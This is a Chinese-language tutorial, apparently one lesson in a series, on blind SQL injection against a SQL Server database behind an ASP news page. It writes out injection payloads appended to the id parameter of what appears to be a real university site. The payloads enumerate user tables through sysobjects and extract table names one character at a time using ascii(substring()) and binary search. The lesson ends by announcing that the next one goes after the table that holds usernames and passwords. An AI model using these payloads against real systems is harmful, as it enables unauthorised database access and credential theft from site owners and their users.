接着上节开始讲。我们来对这个sqlserver数据库进行破解。
首先,我们根据sysobjects这个系统表进行破解。
这个系统表里面含有一个叫做xtype的列名。这个列名下面包含着有着不少类型。比如 S V P U T
分表笔试系统表 视图 存储过程 用户表 触发器
管理员的表是放在U这个类型下面 那我们就先来获取这个类型。也就是用户表的个数
http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41 and (select count(*) from sysobjects where xtype='u')>0
这儿就需要时间来进行破解了。 当大于0成立一直向上增加大于的值直到某个值不成立的时候,那么毫无问题。用户表就含有这么多个
比如 http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41 and (select count(*) from sysobjects )>19
成立
而 http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41 and (select count(*) from sysobjects )>20
不成立 。那么用户表肯定还有20个。
sysobject这个系统表里面不仅仅含有 xtype这个列 还有 name
这个列名 这个列下面包含的是 所有这个数据库下面的表名 。
为了感觉不冗长。前面的链接我在此就简写了
http://xxxxx ? id=41 and (select ascii(subString(name,start,len) ) from sysobjects where
xtype='u')>0
上面详细解释一下。
选取用户类型的第一条记录 ,然后将第一条记录列名为name的内容的每个字符的ascii 的值进行确定 。
subString(name,start,len);
name 列名 start 起始位置 ,len 表示从包含其实位置开始向后选取几位 。
这在java里面也有此函数。大同小异 。再将获得的字符转成ascii值。这里就和判断用户表的个数的方法一样。当然我们可以采取稍微快速点的二分法。这样就比较容易确定每个字母是什么。链接起来就是表名。
也许有人就说了。要是表名是中文的话,那么怎么办。其实我测试了一下。不管是英文还是中文。每个字符(包含单个的英文字符和一个汉字)它们的ascii值都是一个数字。而不像 gbk 编码 单个字符是两位 而 一个汉字的字节也是两位 。根据两位相连的字节判断是汉字或者字母的区别就是看高位。如果高位是 0.则为单个字母 。汉字的高位一般是负数。
utf-8 的编码 英文字母 一个字节 汉字编码是三个字节 。
一般情况下。表名一般是英文。这个链接数据库时中文名容易出现各式各样的问题有关系。
下一讲:字典攻击这节已经获取的表名 所对应的表含有用户名和密码的列名。